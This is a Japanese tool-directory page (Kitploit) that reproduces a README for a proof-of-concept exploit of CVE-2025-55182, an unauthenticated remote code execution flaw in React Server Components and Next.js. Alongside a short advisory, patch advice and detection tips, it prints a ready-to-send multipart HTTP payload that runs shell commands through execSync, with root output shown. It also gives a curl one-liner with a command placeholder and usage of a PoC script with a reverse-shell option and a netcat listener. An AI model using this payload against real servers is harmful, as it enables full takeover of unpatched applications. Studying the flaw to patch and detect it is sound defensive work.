Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-55182 — CVE-2025-55182の概念実証エクスプロイト:安全でない逆シリアル化によるReact Server Componentsでの未認証RCE。脆弱なRSC/Next.jsエンドポイントでの任意コマンド実行とリバースシェルを可能にする。 | Kitploit
ツール/GitHubGitHub/0xblackash/cve-2025-55182
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミングペイロード開発
GitHub0xblackash/cve-2025-55182

CVE-2025-55182

CVE-2025-55182の概念実証エクスプロイト:安全でない逆シリアル化によるReact Server Componentsでの未認証RCE。脆弱なRSC/Next.jsエンドポイントでの任意コマンド実行とリバースシェルを可能にする。

リポジトリを見る
1714日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

🚨 CVE-2025-55182 — React2Shell

ChatGPT Image Oct 8, 2026, 11_08_00 PM

Severity CVSS Type Status

CVE-2025-55182 は、React Server Components (RSC) に影響を与える重大な リモートコード実行 (RCE) 脆弱性です。


📌 概要

この脆弱性により、認証されていない攻撃者が脆弱なサーバー上で任意のコードを実行できるようになります。

この問題は、React Server Component Server Function エンドポイントにおける 安全でないデシリアライゼーション に起因します。 不適切な検証により、細工されたリクエストが悪意のあるペイロードを実行できるようになります。


🧨 影響

  • 🌍 ネットワーク経由で悪用可能
  • 🔓 認証不要
  • ⚡ 攻撃の複雑さが低い
  • 💥 サーバー全体の侵害が可能
  • 📈 CVSS スコア: 10.0 (最大深刻度)

React ベースのフレームワークは広く展開されているため、攻撃対象領域は極めて大きくなります。


📦 影響を受けるパッケージ

脆弱なバージョンは以下の通りです:

react-server-dom-webpack   19.0.0 – 19.2.0
react-server-dom-parcel    19.0.0 – 19.2.0
react-server-dom-turbopack 19.0.0 – 19.2.0

これらのパッケージ上に構築されたフレームワーク (例: 脆弱なバージョンを使用する Next.js アプリ) も影響を受ける可能性があります。


🔎 技術的な根本原因

この欠陥は以下によって引き起こされます:

  • シリアライズされた入力の安全でない処理
  • 厳格な検証の前 に発生するサーバー側デシリアライゼーション
  • 適切なエンドポイント保護の欠如

これにより、攻撃者はサーバー上で実行される悪意のあるペイロードを細工できるようになります。


🛠 修復

✅ 即時の対応

  • 修正済みの React バージョン (19.2.1 以降) にアップグレードする
  • アプリケーションを再ビルドして再デプロイする
  • 公開されている RSC エンドポイントを監査する
  • 不審な POST リクエストがないかログを監視する

🧪 検出のヒント

以下を探してください:

  • RSC エンドポイントへの予期しない POST リクエスト
  • 不審なシリアライズされたペイロード
  • 異常なサーバー側コマンド実行

📚 まとめ

カテゴリ値
脆弱性リモートコード実行
認証の必要性❌ 不要
攻撃ベクトル🌐 ネットワーク
深刻度🔴 重大
実際に悪用されている⚠️ はい

悪用方法

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

以下が返されます:

HTTP/1.1 500 Internal Server Error
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
x-nextjs-cache: HIT
x-nextjs-prerender: 1
Content-Type: text/x-component
Date: Fri, 05 Dec 2025 11:53:05 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Content-Length: 195

0:{"a":"$@1","f":"","b":"PAoMR732SpRI6Xw9cbfbD"}
1:E{"digest":"uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"}

CVE-2025-55182 2 CVE-2025-55182 3 CVE-2025-55182 4 react2shell react2shell 1

使用方法

┌──(kali㉿kali)-[~/Downloads]
└─$ curl -i -X POST http://10.48.133.212:3000/ \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW" \
-H "Next-Action: x" \
-H "Next-Router-State-Tree: b5dce965" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0" \
--data-binary $'------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="0"\r\n\r\n{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\\"$B1337\\\"}","_response":{"_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'<COMMAND>\').toString().trim();;;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest:`${res}`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--'
HTTP/1.1 500 Internal Server Error
Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
x-nextjs-cache: HIT
x-nextjs-prerender: 1
Content-Type: text/x-component
Date: Sat, 28 Feb 2026 10:19:04 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked

0:{"a":"$@1","f":"","b":"3WpzTMYEK9QGOeqIBQxrR"}
1:E{"digest":"287088506"}
CVE-2025-55182 5 CVE-2025-55182 6
sudo python3 react2shell_poc.py http://10.48.133.212:3000 --cmd "whoami"
  • 出力: ubuntu (または同様のもの)。
sudo python3 react2shell_poc.py http://10.48.133.212:3000 --cmd "id"

リバースシェルの場合:

  • リスナー: nc -lvnp 4444
  • 実行: sudo python3 react2shell_poc.py http://10.48.133.212:3000 --rev-shell --rev-ip YOUR_IP --rev-port 4444
  • 接続が確立されるはずです。レスポンスの digest に 'shell_started' が表示されます。

⚠️ 最後に

アプリケーションが React Server Components を使用している場合は、直ちにパッチを適用してください。 遅延すると、露出リスクが大幅に増加します。


ツールをダウンロード